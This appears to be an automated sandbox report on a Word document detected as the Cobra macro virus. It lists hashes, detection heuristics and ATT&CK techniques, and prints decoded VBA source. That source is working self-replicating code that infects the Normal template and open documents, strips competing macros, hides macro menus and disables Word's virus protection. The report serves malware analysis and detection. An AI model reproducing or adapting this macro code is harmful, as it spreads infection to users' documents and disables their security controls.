Cobra Office (OLE) malware analysis — malicious · f6a37457e5546899

MALICIOUS

Office (OLE)

62.0 KB Created: 2000-03-08 11:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 060aed031d49986c09d7088532081f28 SHA-1: 39b1b30bddd697743ce150bed7c441c61cf24d15 SHA-256: f6a37457e55468999a5ce10755a1d79bcdcbf7ebae1235a282ffd52a9c9330c3

340 Risk Score

Malware Insights

Cobra · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a malicious Microsoft Word document containing VBA macros. The AutoOpen macro is designed to execute a shell command, which is a common technique for downloading and running secondary payloads. The script explicitly mentions 'Cobra family' and uses a registry key associated with it, strongly suggesting the Cobra malware family. The presence of AutoOpen and Shell() calls indicates an attempt to execute arbitrary code upon opening the document.

Heuristics 7

ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Cobra-12
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	23880 bytes
SHA-256: `2d76dd46ad9dffda0a757864a3bcaeaf54fe58eb88d73380ad77ad76c5c21637`
Detection ClamAV: Doc.Trojan.Cobra-5 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "AAX_10C" 'AAX Version 1.0C 'An intelligent member of Cobra family Sub FileExit() On Error Resume Next Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 WordBasic.FileExit End Sub Sub AutoOpen() On Error Resume Next ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "Inf") CD = Format(Date, "mm/dd/yyyy") If DateValue(CD) - DateValue(ID) > 30 Then If WeekDay(Date) = 1 Then MsgBox "Remember that it's not fun. An old Cobra infects you.", vbOKOnly, "Cobra" WordBasic.FileExit End If End If Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 End Sub Sub AutoClose() On Error Resume Next Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatTemplate End Sub Sub FileOpen() On Error Resume Next Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 Dialogs(wdDialogFileOpen).Show End Sub Sub FileSave() On Error Resume Next Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub Sub FileClose() On Error Resume Next Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName WordBasic.FileClose End Sub Sub FileSaveAs() On Error Resume Next Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 Dialogs(wdDialogFileSaveAs).Show End Sub Sub FilePrint() On Error Resume Next Call MnuOff Call InfectDocNTemp Call RegE Call D30X12 ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra", "Inf") CD = Format(Date, "mm/dd/yyyy") If DateValue(CD) - DateValue(ID) > (30 * 6) Then HD = ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary) If HD <> "AAX" Then ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Delete ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.InsertAfter ("AAX") End If End If Dialogs(wdDialogFilePrint).Show End Sub Sub InfectDocNTemp() On Error Resume Next For Each ID In NormalTemplate.VBProject.VBComponents If ID.Name <> "AAX_10C" And ID.Name <> "ThisDocument" Then Application.OrganizerDelete Source:=NormalTemplate.FullName, _ Name:=ID.Name, Object:=wdOrganizerObjectProjectItems End If Next TempInf = False For Each ID In NormalTemplate.VBProject.VBComponents If ID.Name = "AAX_10C" Then TempInf = True End If Next If TempInf = False Then Application.OrganizerCopy Source:=ActiveDocument.FullName, _ Destination:=NormalTemplate.FullName, Name:="AAX_10C", _ Object:=wdOrganizerObjectProjectItems TempInf = True End If For Each DF In Documents For Each ID In DF.VBProject.VBComponents If ID.Name <> "AAX_10C" And ID.Name <> "ThisDocument" And _ ID.Name <> "Reference to Normal" Then Application.OrganizerDelete Source:=DF.Name, _ Name:=ID.Name, Object:=wdOrganizerObjectProjectItems End If Next Next For Each DF In Documents DocInf = False For Each ID In DF.VBProject.VBComponents If ID.Name = "AAX_10C" Then DocInf = True End If Next If DocInf = False Then Application.OrganizerCopy Source:=NormalTemplate.FullName, _ Destination:=DF.Name, Name:="AAX_10C", Object:=wdOrganizerObjectProjectItems DF.SaveAs FileName:=DF.Name End If Next End Sub Sub MnuOff() On Error Resume Next CustomizationContext = NormalTemplate CommandBars("Tools").Controls("Macro").Enabled = False CommandBars("Tools").Controls("Macro").Visible = False CommandBars("Tools").Controls("Macro").Delete CommandBars("View").Controls("Toolbars").Enabled = False CommandBars("View").Controls("Toolbars").Visible = False CommandBars("View").Controls("Toolbars").Delete FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable Options.VirusProtection = False Options.SaveNormalPrompt = Fals ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.